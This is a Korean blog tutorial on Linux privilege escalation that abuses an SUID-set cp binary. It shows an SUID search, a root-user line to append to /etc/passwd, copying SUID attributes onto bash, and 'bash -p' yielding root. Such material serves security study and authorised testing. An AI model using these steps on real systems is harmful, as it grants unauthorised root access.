SUID를 이용한 권한 상승

cp 명령어를 사용해 권한 상승 하기

By Hong

SUID의 권한을 가진 파일들 중 cp가 있는 경우, 이를 이용하여 권한 상승하는 방법에 대한 포스팅.

SUID의 탐색

일반 유저의 쉘을 획득하는데 성공했다면 권한 상승을 위해 SUID를 탐색해본다.

$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/16292/usr/lib/snapd/snap-confine
/snap/core20/1623/usr/bin/chfn
/snap/core20/1623/usr/bin/chsh
/snap/core20/1623/usr/bin/gpasswd
/snap/core20/1623/usr/bin/mount
/snap/core20/1623/usr/bin/newgrp
/snap/core20/1623/usr/bin/passwd
/snap/core20/1623/usr/bin/su
/snap/core20/1623/usr/bin/sudo
/snap/core20/1623/usr/bin/umount
/snap/core20/1623/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1623/usr/lib/openssh/ssh-keysign
/snap/core18/2560/bin/mount
/snap/core18/2560/bin/ping
/snap/core18/2560/bin/su
/snap/core18/2560/bin/umount
/snap/core18/2560/usr/bin/chfn
/snap/core18/2560/usr/bin/chsh
/snap/core18/2560/usr/bin/gpasswd
/snap/core18/2560/usr/bin/newgrp
/snap/core18/2560/usr/bin/passwd
/snap/core18/2560/usr/bin/sudo
/snap/core18/2560/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2560/usr/lib/openssh/ssh-keysign
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/cp
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/usr/libexec/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine

항상 보던것들 사이로 익숙하지 않은 명령어가 보인다.

cp가 SUID로 설정되어있다! 바로 사용해보자.

GTFObins

참고하기 위한 페이지로 GTFObins의 SUID 부분을 확인한다.

여기에 따르면 cp로 할 수 있는 몇가지 강력한 기능들이 있는데 무슨 파일이든 cp를 사용하여 읽고 쓸 수 있는 것과 파일에 cp와 똑같은 권한을 부여하는 것이다.

경우를 나누어서 활용 방안을 생각해보자.

  1. cp를 사용해서 /etc/shadow 파일이나 cron같은 민감한 파일들의 내용을 확인한다.
  2. cp를 사용해서 /etc/passwd 파일을 수정한다. openssl passwd <비밀번호>로 해쉬를 만든후 파일에 추가해서 root권한의 유저를 생성할 수 있다. pwned:비밀번호해쉬:0:0:root:/root:/bin/bash
  3. 실행 파일에 SUID 권한을 부여해서 루트 권한으로 실행한다.

모든 경우가 치명적이지만 설정에 따라서 가능한 경우도 불가능한 경우도 있다.

이 포스팅에서는 3번을 예시로 알아보겠다.

$ whoami
nobunaga

현재는 nobunaga라는 유저로 되어있는 상태.

여기서 cp를 이용해 bash나 sh쉘도 SUID로 만들어준다.

변경 전.

$ ls -la /usr/bin/bash
-rwxr-xr-x 1 root root 1396520 Jan  6  2022 /usr/bin/bash

변경 후. bash쉘을 사용중이면 잘 안될 수 있으니 파이썬으로 bash 쉘 소환중이라면 일단 꺼야 함.

$ /usr/bin/cp --attributes-only --preserve=all /usr/bin/cp /usr/bin/bash
$ ls -la /usr/bin/bash
-rwsr-xr-x 1 root root 1396520 Feb  7  2022 /usr/bin/bash

위와 같이 bash쉘도 SUID가 된 것을 확인 할 수 있다.

bash쉘의 커맨드를 이용하여 소유자 권한으로 실행한다.

$ bash -p
whoami
root

이렇게 해서 SUID를 이용해 권한 상승을 하는 방법을 알아보았다.

SUID 리스트에 cp가 있다면 활용해보자.

Tags: SUID cp gtfobins
Share: X (Twitter) Facebook LinkedIn